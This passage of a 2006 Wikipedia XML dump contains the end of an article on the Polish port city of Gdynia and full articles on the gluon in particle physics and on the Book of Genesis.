However, what most tourists look for Gdynia deals with its recent past. In the harbour there two [[museum ship]]s are anchored, the ''[[ORP Blyskawica]]'' [[destroyer]] and the ''[[Dar Pomorza]]'' [[Tall ship|Tall Ship]] [[frigate]]. Gdynia is also famous for its numerous examples of early [[20th century]] architecture, especially [[monumentalism]] and early [[functionalism]]. Recently reconstructed Świętojańska street and Kościuszki square are also worth mentioning.
The surrounding hills and the coastline attract many nature lovers. Leisure [[pier]] and cliff-like coastline in [[Redlowo|Kępa Redłowska]] as well as the surrounding Reservation Park are also popular. 1.5 kilometres long [[promenade]] leads from the [[marina]] in the city centre to the beach in [[Redlowo|Redłowo]]. Most of Gdynia can be seen from Kamienna Góra (54 metres [[Above mean sea level|asl]]) or a newly built observation point near Chwaszczyno.
You can also take [[hydrofoil]] or ship trip to [[Westerplatte|Gdansk Westerplatte]], [[Hel, Poland|Hel]] or just see port.

== Modern division into neighbourhoods ==
[[Image:retro_gdynia_koscierzyna.jpg|250px|thumb|right|Steam train &quot;Costerina&quot; Gdynia - [[Koscierzyna|Kościerzyna]]]]
* Babie Doły
* Chwarzno Wiczlino
* Chylonia
* Cisowa
* Działki Leśne
* Dąbrowa
* Grabówek
* Kamienna Góra
* Karwiny
* Leszczynki
* Mały Kack
* Obłuże
* Oksywie
* Orłowo
* Pogórze
* Port
* Pustki Cisowskie-Demptowo
* Redłowo
* Śródmieście
* Wielki Kack
* Witomino Leśniczówka
* Witomino Radiostacja
* Wzgórze Św. Maksymiliana

== Population and area ==
[[Image:Gdynia-orlowo.jpg|250px|thumb|right|Coastline in Gdynia Orlowo]]
1870:    1200 inhabitants
&lt;br&gt; 1920:    1300 inhabitants
&lt;br&gt; 1926:  12,000 inhabitants, 6 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 1939: 127,000 inhabitants, 66 km&lt;sup&gt;2&lt;/sup&gt;&lt;!-- &lt;br&gt; 1950: ? inhabitants --&gt;
&lt;br&gt; 1960: 150,200 inhabitants, 73 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 1970: 191,500 inhabitants, 75 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 1975: 221,100 inhabitants, 134 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 1980: 236,400 inhabitants, 134 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 1990: 251,500 inhabitants, 136 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 1994: 252,000 inhabitants, 136 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 1995: 251,400 inhabitants, 136 km&lt;sup&gt;2&lt;/sup&gt;&lt;br&gt; 2000: 255,420 inhabitants, 135.49 km&lt;sup&gt;2&lt;/sup&gt; (after [[Glowny Urzad Statystyczny|GUS]] - Central Statistical Office in Warsaw)
&lt;br&gt; 2003: 251,000 inhabitants, 136 km&lt;sup&gt;2&lt;/sup&gt;

==See also:==
* [[Ports of the Baltic Sea]]
* [[Tricity]]
* [[Trolleybus]]
* [[Hydrofoil]]
{{Poland}}

== Further reading ==
* (ed.) R. Wapiński, ''Dzieje Gdyni'', Gdańsk 1980
* (ed.). S. Gierszewski, ''Gdynia'', Gdańsk 1968
* ''Gdynia'', in: Pomorze Gdańskie, nr 5, Gdańsk 1968
* J. Borowik, ''Gdynia, port Rzeczypospolitej'', Toruń 1934
* B. Kasprowicz, ''Problemy ekonomiczne budowy i eksploatacji portu w Gdyni w latach 1920-1939'', Zapiski Historyczne, nr 1-3/1956
* M. Widernik, ''Główne problemy gospodarczo-społeczne miasta Gdyni w latach 1926-1939.'', Gdańsk 1970
* (ed.) A. Bukowski, ''Gdynia. Sylwetki ludzi, oświata i nauka, literatura i kultura'', Gdańsk 1979
* ''Gminy województwa gdańskiego'', Gdańsk 1995
* H. Górnowicz, Z. Brocki, ''Nazwy miast Pomorza Gdańskiego'', Wrocław 1978
* Gerard Labuda (ed.), ''Historia Pomorza'', vol. I-IV, Poznań 1969-2003
* (ed.) W. Odyniec, ''Dzieje Pomorza Nadwiślańskiego od VII wieku do 1945 roku'', Gdańsk 1978
* L. Bądkowski, ''Pomorska myśl polityczna'', Gdańsk 1990
* L. Bądkowski, W. Samp, ''Poczet książąt Pomorza Gdańskiego'', Gdańsk 1974
* B. Śliwiński, ''Poczet książąt gdańskich'', Gdańsk 1997
* Józef Spors, ''Podziały administracyjne Pomorza Gdańskiego i Sławieńsko-Słupskiego od XII do początków XIV w'', Słupsk 1983
* M. Latoszek, ''Pomorze. Zagadnienia etniczno-regionalne'', Gdańsk 1996
* B. Bojarska, ''Eksterminacja inteligencji polskiej na Pomorzu Gdańskim (wrzesień-grudzień 1939)'', Poznań 1972
* K. Ciechanowski, ''Ruch oporu na Pomorzu Gdańskim 1939-1945.'', Warszawa 1972

== External links ==
{{Commons|Gdynia}}
*[http://www.gdynia.pl/index.php?lang=en Gdynia city website]
*[http://www.trojmiasto.pl Regional portal, guide to Tricity including map]
*[http://www.gdansk-life.com/guide/Gdynia/tour.php Gdynia Travel Guide and Map]
*[http://www.gosir.gdynia.pl/marina/index.php Marina in Gdynia]
*[http://www.wsm.gdynia.pl/hist-e.html Maritime School]
*[http://www.ci.seattle.wa.us/oir/Gdynia.htm Seattle sister city of Gdynia]
*[http://www.gotenhafen.one.pl More than 200 postcards from Gotenhafen]
*[http://dmoz.org/Regional/Europe/Poland/Voivodships/Pomerania-Kashubia/Gdynia/ Open Directory Project - Gdynia]
*[http://chefmoz.org/Poland/PM/Gdynia/ ChefMoz Dining Guide - Gdynia]

[[Category:Gdynia| ]]
[[Category:Coastal cities in Poland]]

&lt;!----&gt;

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    </revision>
  </page>
  <page>
    <title>Gluon</title>
    <id>12666</id>
    <revision>
      <id>41993980</id>
      <timestamp>2006-03-03T02:32:37Z</timestamp>
      <contributor>
        <ip>203.97.27.126</ip>
      </contributor>
      <comment>&quot;a significantly&quot; -&gt; &quot;significant;y&quot;</comment>
      <text xml:space="preserve">In [[particle physics]], '''gluons''' are [[vector field|vector]] [[gauge field|gauge]] [[gauge boson|bosons]] that mediate [[strong interaction|strong]] [[color charge]] interactions of [[quark]]s in [[quantum chromodynamics]] (QCD). Unlike the neutral [[photon]] of [[quantum electrodynamics]] (QED), gluons themselves participate in strong interactions. The gluon has the ability to do this as it itself carries the colour charge and so interacts with itself, making QCD significantly harder to analyse than QED.

== Properties ==
The gluon is a vector boson like the [[photon]]; it has [[spin (physics)|spin]] 1. Usually vector particles have three spin states, but [[gauge invariance]] reduces the number of spin states of a gluon to two. It has negative intrinsic [[parity (physics)|parity]] and has zero [[isospin]]. In [[quantum field theory]], unbroken gauge invariance requires that gauge bosons have zero mass (experiment limits the gluon's mass to less than a few MeV). The gluon is its own antiparticle.

== Numerology of gluons ==
Unlike the single [[photon]] of QED or the three [[W and Z bosons]] of the [[weak interaction]], there are eight independent types of gluon in QCD.

This may be difficult to understand intuitively. [[Quark]]s may carry three types of [[color charge]]; antiquarks carry three types of anticolor. Gluons may be thought of as carrying both color and anticolor or as describing how quark color changes during interactions.

Technically, QCD is a [[gauge theory]] with [[SU(3)]] gauge symmetry. Quarks are introduced as [[spinor|spinor fields]] in N&lt;sub&gt;f&lt;/sub&gt; [[flavour (particle physics)|flavour]]s, each in the [[fundamental representation]] (triplet, denoted '''3''') of the colour gauge group, SU(3). The gluons are vector fields in the [[adjoint representation]] (octets, denoted '''8''') of colour SU(3).  For a general [[lie group|gauge group]], the number of force-carriers (like photons or gluons) is always equal to the dimension of the adjoint representation. For the simple case of SU(N), the dimension of this representation is N&lt;sup&gt;2&lt;/sup&gt;&amp;minus;1.

== Confinement ==
{{main|confinement}}

Since gluons themselves carry color charge (again, unlike the [[photon]] which is electrically neutral), they participate in strong interactions.  These gluon-gluon interactions constrain color fields to string-like objects called &quot;flux tubes&quot;, which exert constant force when stretched. Due to this force, [[quark]]s are [[confinement|confined]] within [[composite particle]]s called [[hadron]]s. This effectively limits the range of the strong interaction to 10{{sup|-15}} [[meter]]s, roughly the size of an [[atomic nucleus]]. 

Gluons also share this property of being confined within hadrons. One consequence is that gluons are not directly involved in the [[nuclear force]]s. The force mediators for these are other hadrons called [[meson]]s.

Although in the [[normal phase of QCD]] single gluons may not travel freely, it is predicted that there exist [[hadron]]s which are formed entirely of gluons &amp;mdash; called '''[[glueball]]s'''. There are also conjectures about other '''[[exotic (hadron)|exotic hadrons]]''' in which real gluons (as opposed to [[virtual particle|virtual]] ones found in ordinary hadrons) would be primary constituents. Beyond the normal phase of QCD (at extreme temperatures and pressures), [[quark gluon plasma]] forms. In such a plasma there are no hadrons; quarks and gluons become free particles.

== Experimental observations ==
The first direct experimental evidence of gluons was found in [[1979]] when [[three jet event]]s were observed at the electron-positron collider called [[PETRA]] at [[DESY]] in [[Hamburg]]. Quantitative studies of [[deep inelastic scattering]] at the [[Stanford Linear Accelerator Center]] had established their existence a decade before that.

Experimentally, confinement is verified by the failure of [[free quark search]]es. Neither free quarks nor free gluons have ever been observed. Although there have been hints of exotic hadrons, no glueball has been observed either. Quark-gluon plasma has been found recently at the [[Relativistic Heavy Ion Collider]] (RHIC) at [[Brookhaven National Laboratories]] (BNL).

== See also ==
*[[Quark]]s, [[hadron]]s, [[gauge boson]]s
*[[Glueball]]s, [[exotic (hadron)|exotic]]s, [[quark model]]
*[[Quantum chromodynamics]], [[standard model]]
*[[Three jet events]], [[deep inelastic scattering]]

== References and external links ==
* {{cite book | last = Griffiths | first =  David J. | title = Introduction to Elementary Particles | publisher = Wiley, John &amp; Sons, Inc | year = 1987 | id = ISBN 0471603864 }}
*Kaufmann(ed), Scientific American: Particles &amp; Fields (special edition), 1980
*[http://pdg.lbl.gov/2004/tables/contents_tables.html Summary tables in the &quot;Review of particle physics&quot;]
*[http://www.desy.de/pr-info/desyhome/html/presse/glossary.html#G DESY glossary]
*[http://www.symmetrymag.org/cms/?pid=1000160 Logbook of gluon discovery]
*[http://math.ucr.edu/home/baez/physics/ParticleAndNuclear/gluons.html Why are there eight gluons and not nine?]

{{Elementary}}

[[Category:Bosons]]
[[Category:Quantum chromodynamics]]

[[bg:Глуон]]
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    </revision>
  </page>
  <page>
    <title>Genesis</title>
    <id>12667</id>
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      <id>41910466</id>
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      <minor />
      <text xml:space="preserve">{{dablink|This article is about ''Genesis'', the first book of the [[Tanakh|Hebrew Bible]] ([[Old Testament]]). See [[Genesis (disambiguation)]] for other usages of the word.}}
{{Books of the Old Testament}}
{{Books of Torah}}

'''Genesis''' ([[Greek language|Greek]]: &amp;#915;&amp;#941;&amp;#957;&amp;#949;&amp;#963;&amp;#953;&amp;#962;, having the meanings of &quot;birth&quot;, &quot;creation&quot;, &quot;cause&quot;, &quot;beginning&quot;, &quot;source&quot; and  &quot;origin&quot;), also called ''The First Book of Moses'', is the first book of [[Torah]] (five books of [[Moses]]), and is the first book of the [[Tanakh]], part of the [[Hebrew Bible]]; it is also the first book of the [[Christianity|Christian]] [[Old Testament]].

In [[Hebrew language|Hebrew]], it is called בראשית (''Bereshit'' or ''B&amp;#601;rê&amp;#353;îth'', {{strong|7225}}), after the first word of the text in Hebrew (meaning &quot;in the beginning of&quot;).  This is in line with the pattern of naming the other five books of the [[Pentateuch]].

== Introduction ==

Genesis begins with creation narrative, or narratives, depending on one's point of view, which may be understood literally, or as allegory. In the same view, its allegory continues to chapter eleven. It thereafter records what is agreed to be historical narrative with the call of Abram (later [[Abraham]]) and his then barren wife Sarai (later Sarah) from Ur (probably in Babylonia) to Canaan (Palestine). It contains the record of Abraham's acceptance by God, and of God's promise to him that through his offspring all people on earth would be blessed (12:3). It records the doings of the first of his descendants, [[Isaac]], and [[Jacob]] (known as Israel), and their families. It ends with Jacob's descendants, the Israelites, in Egypt, in favour with the Pharaoh. 

Genesis contains the historical presupposition and basis of the national religious ideas and institutions of Israel, and serves as an introduction to its history, laws, and customs. It is the composition of a writer (or set of writers, see [[documentary hypothesis]]), who has recounted the traditions of the Israelites, combining them into a uniform work, while preserving the textual and formal peculiarities incident to their difference in origin and mode of transmission.

== Authorship ==

Genesis as a completed book makes no claims about its authorship; it is an article of Orthodox Jewish faith that the book was dictated, in its entirety, by God to [[Moses]] on [[Mount Sinai, Egypt|Mount Sinai]]. For a number of reasons, this view is no longer accepted by many biblical scholars, and liberal [[Protestant]]s.  Instead, they accept a theory whose roots are based on [[cultural evolution]] and [[philosophical naturalism]] which teaches that the text of Genesis as we see it today was redacted together around [[440 BC]] from earlier sources, namely the Sumerians. See the [[Documentary hypothesis]] entry for more information.

Other scholars note that when Genesis was compiled, it was made up of earlier documents which were so little changed that even their literary tradition, which put the author's name at the end of each document, was preserved, thus preserving also the authors' true identities. This retains the concept of Moses being the author of Genesis, though making his role more that of an editor who chose the earlier works to include than as an author who wrote every word.

[[Image:Genesis on egg cropped.jpg|thumb|left|150px|Bereshit aleph, or the first chapter of Genesis, written on an egg, in the [[Israel Museum]]. ]]

== Historical placement of its content ==

Based on the [[genealogy|genealogies]] in Genesis and later parts of the Bible, both religious [[Jew]]s and Christians have independently worked backwards to find the implied time of the [[creation (theology)|Creation]] of the world, around the beginning of the [[4th millennium BC]]. This dating is based on a literal reading of the creation account and the bases that the six days in which [[God]] created the heavens and the earth were 24-hour [[days]], that [[Adam and Eve|Adam, Eve]], and the [[Garden of Eden]] existed, and that a complete trace of events from Creation to a [[history|historically]] verifiable date is listed in the Biblical account.

The absence of independent evidence confirming the Biblical narrative have caused many scholars to question the accuracy or even the veracity of the historical account, and it is now generally accepted by objective historians not to be literally true. This subject is discussed in [[The Bible and history]].

== Christian views ==

There are numerous references to Genesis in the [[New Testament]]. These references assume an authoritative nature for Genesis. While none of these references explicitly state an author for Genesis there are several places which attribute the books of the law ([[Torah]]) to Moses (Mark 12:19, 26; Luke 24:27).

The author of the [[gospel of John]] uses language similar to that in Genesis 1 when personifying the speech of God as the eternal '''Logos''' (''[[Greek language|Greek]]: &amp;lambda;&amp;omicron;&amp;gamma;&amp;omicron;&amp;sigmaf; &quot;reason&quot;, &quot;word&quot;, &quot;speech&quot;''), that is the origin of all things &quot;with God&quot;, and &quot;was God&quot;, and &quot;became flesh and tabernacled among us&quot;.  Many Christians interpret this as an example of [[apostle|apostolic]] teaching of the doctrine of the [[Trinity]] and the deity of [[Christ]]; however, Genesis standing alone does not clearly suggest this teaching; it is primarily on the strength of John's testimony that Christians ascribe personality to the creative speech of God, and identify that personality with Jesus ([[Epistle to the Hebrews|Hebrews 1:2,3]], [[Epistle to the Colossians|Colossians 1:16,17]] are among other Biblical sources for the belief).

== Main themes ==

*There is only one God, who has created the world. God has called all objects and living beings into existence by His word.
*The universe when created was, in the judgment of God, good. Genesis expresses an optimistic satisfaction and pleasure in the world.
*God as a personal being, referred to in [[anthropomorph]]ic and [[anthropopath]]ic terms. God may appear and speak to mankind.
*Genesis makes no attempt to give a philosophically rigorous definition of God; its description is a practical and historical one. God is treated exclusively with reference to his dealings with the world and with man.
*Humankind is the crown of Creation, and has been made in God's image.
*All people are descended from Adam and Eve; this expresses the unity of the whole human race.
*The Earth possesses for man a certain moral grandeur; man must include God's creatures in the respect that it demands in general, by not exploiting them for his own selfish uses.
*Unlike other ancient religious texts from the near-east and middle-east, Genesis posits the existence of a one and only being that may properly be called God.  All other non-human intelligences implied or stated to exist in the text may only be considered [[angel]]s or the like.  God is presented as being the sole creator of nature, and as existing outside of it and beyond it.
*Some historians believe Genesis to be a more recent example of [[Monotheism|monotheistic belief]] than [[Zoroastrianism]], interpreting the commandment &quot;have no other gods before me&quot;  as an artifact of early [[henotheism]] among the Jews -- i.e., as evidence that the ''Hebrews'' were not to worship the gods of other peoples, but only their own tribal god.  On the other hand, Genesis, in its present form, purports to give a record of beliefs prior to any surviving religious texts, describing the worship of other gods and local deities as a gradual development among the nations, who departed from original monotheism.
*The primary purpose of the book is not historical or legal, but to explain man's origins, and to describe man's relationship to God, and how man's relationship to man must be seen in that light.
*God created an eternal, unbreakable [[covenant]] with all mankind at the time of Noah; this is known as the [[Noachide covenant]]. This universal concern with all mankind is paralleled by a second covenant made to the descendants of [[Abraham]] in particular, through his son [[Isaac]], in which their descendants will be chosen to have a special destiny.
*The Jewish people are [[Chosen people|chosen to be in a special covenant]] with God; God says to Abraham &quot;I will make of you a great nation, and I will bless you and make your name great; and you shall be a blessing. I will bless them that bless you, and curse him that curses you; and in you shall all families of the earth be blessed&quot;. God often repeats the promise that Abraham's descendants shall be as numerous as the stars in heaven and as the sand on the seashore.                                        

The article on [[Biblical cosmology]] discusses the Bible's view of the cosmos, much of which derives from descriptions in Genesis.

== Summary ==
===Creation===
{{main articles|[[Creation (theology)]] and [[Creation according to Genesis]]}}

The creation narrative in genesis can be split into two sections - the first section starts with an account of the [[Creation (theology)|Creation]] of the [[universe]] by God, which occurs in six days, the second section is more human-oriented, and less concerned with explaining how the Earth, its creatures and its features came to exist as they are today. 

Within the first section, on the first day God created light; on the second, the [[firmament of heaven]]; on the third, he separated water and land, and created plant life; on the fourth day he created the sun, moon, and stars; on the fifth day marine life and birds; on the sixth day land animals, and man and woman. On the seventh day, the [[Sabbath]], God rested, and sanctified the day.

Some may wonder whether it was this chapter of the Hebrew Bible that gives us our seven-day week, and may further speculate about the importance of the number seven.  However, research into the origin of the [[week]] tells us that it was widely spread throughout the ancient world, so widely that apart from claims such as Genesis, its origins cannot be determined with certainty.

The second section of the creation narrative explains that the earth was lifeless, how God brought moisture to the soil and how man was formed from the dust ([[Adam and Eve|Adam]] translates from Hebrew to mean 'Red Earth').

=== Adam and Eve ===

God formed [[Adam and Eve|Adam]] out of earth (&quot;adamah&quot;), and set him in the [[Garden of Eden]], to watch over it. Adam is allowed to eat of all the fruit within it, except that of the &quot;[[Tree of the Knowledge of Good and Evil]].&quot; God then brings all the animals to Adam, to serve as company for him. Adam gives names  to all the animals, but finds no comfort in his loneliness. God then puts him into a deep sleep, takes a rib from his side, and from it forms a woman (called later &quot;Eve&quot;), to be a companion.

Eve is convinced by a talking [[Serpent (symbolism)|serpent]] to eat of the forbidden fruit. Eve wisely questions the serpent and hesitates to take a bite. But after she finds it pleasant, Eve offers the fruit to Adam to eat it as well (the &quot;[[original sin]]&quot; in traditional Christian interpretation). Adam asks no questions. He immediately takes a bite. As punishment the ground is cursed, the death sentence is imposed (although it takes some time to be fulfilled), and Adam and Eve are driven out of the garden. The entrance to the garden is then guarded by ''[[cherub]]im'' with a flaming sword. 

Adam and Eve initially have two sons, [[Cain]] and [[Abel]]. There is a [[Chiastic structure]] in the first few verses relating Cain to Abel. Cain grows envious of the favor found by his brother before God, and slays him. The first murder is that of a brother. Cain is sentenced to wander over the earth as a fugitive. He finally settles in the [[Land of Nod|land of Nod]].

[[Enoch]], one of Cain's sons, builds the first city.  Another descendant, Lamech, takes two wives.  Lamech's sons are the first dwellers in tents and owners of herds, and they are the earliest inventors of musical instruments and workers in brass and iron. Cain's descendants know nothing about God. 

Another son, [[Seth]], has in the meantime been born to Adam and Eve in place of the slain Abel. Seth's descendants never lose thought of God. The tenth in regular descent is [[Noah]].  Adam and Eve also have other sons and daughters.  In line with most of the other biblical characters born before the flood whose ages are provided, Adam lived until the age of 930.

Note: the stories of Adam and Eve and Cain and Abel also appear in the [[Qur'an]] (see [[Similarities between the Bible and the Qur'an]]).

=== Noah and the great flood ===

In response to the wickedness of mankind, God decides to cleanse the world and start again. God selects one man's family, the family of [[Noah]], to survive the flood, as Noah is the most righteous man of his generation. God commands him to build a large ark, since the work of destruction is to be accomplished by means of a great flood. Noah obeys the command, entering the ark together with his family. Into this ark they bring a mating pair of each kind of animal and bird on Earth.  Water bursts out of the ground and falls from the sky, and the world is flooded, destroying all living beings (just of the land, no reference to water animals) and saves those in the ark. When it has subsided, Noah's family leaves the ark, and God enters into a covenant with Noah and all his descendants, the entire human race. Noah plants a vineyard (ix. 20) and drinks of the produce. When, in a fit of intoxication, Noah is shamelessly treated by his son Ham, he curses the latter in the person of Ham's son Canaan, while his sons Shem and Japheth are blessed.

Chapter 10 reviews the peoples descended from Japheth, Ham, and Shem. The dispersion of humanity into separate races and nations is described in the story of the [[Tower of Babel]]. Humanity is dispersed by a &quot;confusion of tongues,&quot; which God brought about when men attempted to build a tower that should reach up to heaven (xi. 1-9). A genealogy is given of Shem's descendants.

Note: the story of Noah also appears in the [[Qur'an]] (see [[Similarities between the Bible and the Qur'an]]).

=== Abram and Sarai ===
Terah, who lives at [[Ur of the Chaldees]], has three sons, Abram, Nahor, and Haran. Haran's son is Lot. Nahor is married to Milcah, and Abram to Sarai, who has no children. God directs Abram to leave his home. Abram obeys, emigrating with his entire household and Lot, his brother's son, to the land of Canaan. Here God appears to him and promises that the land shall become the property of his descendants.

Abram is forced by a famine to leave the country and go to Egypt. The King of Egypt takes possession of the beautiful Sarai (whom Abram has misleadingly represented as his sister; she was in fact his half-sister). God smites the King with a disease, which the King recognizes as a sign from God; the King returns Sarai to Abram. Abram returns to Canaan, and separates from Lot in order to put an end to disputes about pasturage. He gives Lot the valley of the Jordan near Sodom. God again appears to Abram, and promises to him the whole country.

===Abram and Melchizedek===
Lot is taken prisoner by invading kings from the East during a war between Amraphel, King of Shinar, and Bera, King of Sodom, with their respective allies. Abram pursues the victors with  his armed retainers.  Returning with his warband after rescuing Lot and his clan, Abram is met by [[Melchizedek]], the king and high priest of Salem (Jerusalem), who blesses him, and in return Abram gives him a [[tithe]] of his booty, refusing his share of the same.  After this exploit God again appears to Abram and promises him protection, a rich reward, and numerous progeny. These descendants will pass four hundred years in servitude in a strange land; but after God has judged their oppressors they shall leave the land of their affliction, and the fourth generation shall return to Canaan.

=== Hagar and Ishmael ===
Sarai is childless, so Sarai and Abram decide that they will produce an heir for Abram through his Egyptian handmaiden, [[Hagar]]. Abram takes her as a concubine and has a child with her, [[Ishmael]]. God again appears to Abram, and enters into a personal covenant with him securing Abram's future: God promises him a numerous progeny, changes his name to &quot;[[Abraham]]&quot; and that of Sarai to &quot;[[Sarah]],&quot; and institutes the [[circumcision]] of all males as an eternal sign of the covenant.

=== Sodom and Gomorrah ===
God sends Abraham three [[angel]]s, whom Abraham receives hospitably.  They announce to him that he will have a son within a year, although he and his wife are already very old. Abraham also hears that God's messengers intend to execute judgment upon the wicked inhabitants of [[Sodom]] and Gomorrah, whereupon he intercedes for the sinners, and endeavors to have their fate set aside. Two of the messengers go to Sodom, where they are hospitably received by Lot. The men of the city wish to have sexual relations with them.  Having thus shown that they have deserved their fate, Sodom and Gomorrah are destroyed by [[fire and brimstone|fire-and-brimstone]].  

Only Lot and his two daughters are saved. Lot's [[incest]]uous relationship with his daughters, which resulted in the births of Ammon and Moab, is also described.  

Abraham journeys to Gerar, the country of Abimelech. Here once again he represents Sarah as his sister, and Abimelech plans to gain possession of her.  He desists on being warned by God.

Note: the story of Lot and Sodom and Gomorrah also appears in the [[Qur'an]] (see [[Similarities between the Bible and the Qur'an]]).

=== The birth of Isaac ===
At last the long-expected son is born, and receives the name of &quot;[[Isaac]]&quot; (''Itzhak'': &quot;will laugh&quot; in Hebrew). At Sarah's insistence [[Ishmael]] together with his mother Hagar is driven out of the house.  They also have a great future promised to them by God.  Abraham, during the banquet that he gives in honor of Isaac's birth, enters into a covenant with Abimelech, who confirms his right to the well [[Beersheba|Beer-sheba]].

The story of Isaac also appears in the [[Qur'an]] (see [[Similarities between the Bible and the Qur'an]]).

=== The near sacrifice of Isaac ===
{{main|Near sacrifice of Isaac}}

Now that Abraham seems to have all his desires fulfilled, having even provided for the future of his son, God subjects him to the greatest trial of his faith by demanding Isaac as a sacrifice. Abraham obeys; but, as he is about to lay the knife upon his son, God restrains him, promising him numberless descendants. On the death of Sarah, Abraham acquires [[Machpelah]] for a family tomb. Then he sends his servant to Mesopotamia, Nahor's home, to find among his relations a wife for Isaac; and Rebekah, Nahor's granddaughter, is chosen. Other children are born to Abraham by another wife, Keturah, among whose descendants are the Midianites; and he dies in a prosperous old age.

Note: the story of the sacrifice also appears in the [[Qur'an]] (see [[Similarities between the Bible and the Qur'an]]).

=== Esau and Jacob ===
After being married for twenty years Rebekah has twins by Isaac: [[Esau]], who becomes a hunter, and [[Jacob]] (''Ya'akov'': &quot;will follow&quot;), who becomes a herdsman. Jacob persuades Esau to sell him his birthright, for which the latter does not care; notwithstanding this bargain, God appears to Isaac and repeats the promises given to Abraham. His wife, whom he represents as his sister, is endangered in the country of the Philistines, but King Abimelech himself averts disaster. In spite of the hostility of Abimelech's people, Isaac is fortunate in all his undertakings in that country, especially in digging wells. God appears to him at Beer-sheba, encourages him, and promises him blessings and numerous descendants; and Abimelech enters into a covenant with him at the same place. Esau marries Canaanite women, to the regret of his parents.

Rebekah persuades Jacob to dress himself as Esau, and thus obtain from his blinded by old age father the blessing intended for Esau. To escape his brother's vengeance, Jacob is sent to relations in Haran, being charged by Isaac to find a wife there. On the way God appears to him at night, promising protection and aid for himself and the land for his numerous descendants. Arrived at Haran, Jacob hires himself to Laban, his mother's brother, on condition that, after having served for seven years as a herdsman, he shall have for wife the younger daughter, Rachel, with whom he is in love. At the end of this period Laban gives him the elder daughter, Leah; Jacob therefore serves another seven years for Rachel, and after that six years more for cattle. In the meantime Leah bears him Reuben, Simeon, Levi, and Judah; by Rachel's maid Bilhah he has Dan and Naphtali; by Zilpah, Leah's maid, Gad and Asher; then, by Leah again, Issachar, Zebulun, and Dinah; and finally, by Rachel, Joseph. He also acquires much wealth in flocks.

=== Jacob wrestles with God ===
In fear of Laban, Jacob flees with his family, and soon becomes reconciled with Laban. On approaching his home he is in fear of Esau, to whom he sends presents. While sleeping, a being (variously regarded as God, an angel, or a man), appears to Jacob and wrestles with him. The mysterious one pleads to be released before daybreak, but Jacob refuses to release the being until he agrees to bless him. The being announces to Jacob that he shall bear the name &quot;Israel,&quot; which means &quot;one who wrestled with God&quot; and is freed.

The meeting with Esau proves a friendly one, and the brothers separate reconciled. Jacob settles at [[Shechem]]. His sons Simeon and Levi take vengeance on the city of Shechem, whose prince has [[rape]]d their sister Dinah. On the road from [[Bethel (Israel)|Bethel]], Rachel gives birth to a son, [[Benjamin]], and dies.

=== Joseph the dreamer ===
[[Joseph (dreamer)|Joseph]], Jacob's favorite son, is hated by his brothers on account of his dreams prognosticating his future dominion, and on the advice of [[Judah (biblical figure)|Judah]] is secretly sold to a caravan of Ishmaelitic merchants going to [[Egypt]]. His brothers tell their father that a wild animal has devoured Joseph. Joseph, carried to Egypt, is there sold as a slave to Potiphar, one of Pharaoh's officials. He gains his master's confidence; but when the latter's wife, unable to seduce him, accuses him falsely, he is cast into prison (xxxix.). Here he correctly interprets the dreams of two of his fellow prisoners, the king's butler and baker. When Pharaoh is troubled by dreams that no one is able to interpret, the butler draws attention to Joseph. The latter is thereupon brought before Pharaoh, whose dreams he interprets to mean that seven years of abundance will be followed by seven years of famine. He advises the king to make provision accordingly, and is empowered to take the necessary steps, being appointed second in the kingdom. Joseph marries Asenath, the daughter of the priest Poti-pherah, by whom he has two sons, Manasseh and Ephraim (xli.).

When the famine comes it is felt even in Canaan; and Jacob sends his sons to Egypt to buy corn. The brothers appear before Joseph, who recognizes them, but does not reveal himself. After having proved them on this and on a second journey, and they having shown themselves so fearful and penitent that Judah even offers himself as a slave, Joseph reveals his identity, forgives his brothers the wrong they did him, and promises to settle in Egypt both them and his father (xlii.-xlv.). Jacob brings his whole family, numbering 66 persons, to Egypt, this making, inclusive of Joseph and his sons and himself, 70 persons. Pharaoh receives them amicably and assigns to them the land of Goshen (xlvi.-xlvii.). When Jacob feels the approach of death he sends for Joseph and his sons, and receives Ephraim and Manasseh among his own sons (xlviii.). Then he calls his sons to his bedside and reveals their future to them (xlix.). Jacob dies, and is solemnly interred in the family tomb at Machpelah. Joseph lives to see his great-grandchildren, and on his death-bed he exhorts his brethren, if God should remember them and lead them out of the country, to take his bones with them. The book ends with Joseph's remains being put &quot;in a coffin in Egypt.&quot;

==See also==
*[[En%C3%BBma Elish]]
*[[Cradle of Humanity]]
*[[Dating the Bible]]
*[[Patriarchal Age]]
*[[Tanakh|Tanakh]]
*[[The Bible and history]]
*[[The Hebrew Bible]]
*[[Origin belief]]
*[[Torah]]
*[[parsha|Torah portions]] in Genesis: [[Bereishit (parsha)|Bereishit]], [[Noach (parshah)|Noach]], [[Lech-Lecha]], [[Vayeira]], [[Chayei Sarah]], [[Toledot]], [[Vayetze]], [[Vayishlach]], [[Vayeshev]], [[Miketz]], [[Vayigash]], [[Vayechi]]
*[[Wife-sister narratives in Genesis]]

==References==
*[[Walter Brueggemann]], ''Genesis: Interpretation: A Bible Commentary for Teaching and Preaching''. Atlanta: John Knox Press, 1982. (An accessible mainstream Christian commentary.)
*Terrence E. Fretheim, &quot;The Book of Genesis&quot;, in ''The New Interpreter's Bible''. Volume 1. Nashville: Abingdon Press, 1994. (A mainstream Christian commentary.)
*Isaac M. Kikawada &amp; Arthur Quinn, ''Before Abraham was – The Unity of Genesis 1-11''. Nashville, Tenn, 1985. (A challenge to the Documentary Hypothesis.)
*[[Nechama Leibowitz|Nehama Leibowitz]], ''New Studies in Bereshit, Genesis''. Jerusalem: Hemed Press, 1995. (A scholarly Jewish commentary employing traditional sources.)
*Cardinal Joseph Ratzinger (now [[Pope Benedict XVI]]), ''In the Beginning''. Edinburgh, 1995. (A Catholic understanding of the story of Creation and Fall.)
*Nahum M. Sarna, ''Understanding Genesis''. New York: Schocken Press, 1966. (A scholarly Jewish treatment, strong on historical perspective.)
*Nahum M. Sarna, ''The JPS Torah Commentary: Genesis''. Philadelphia: Jewish Publication Society, 1989. (A maintream Jewish commentary.)
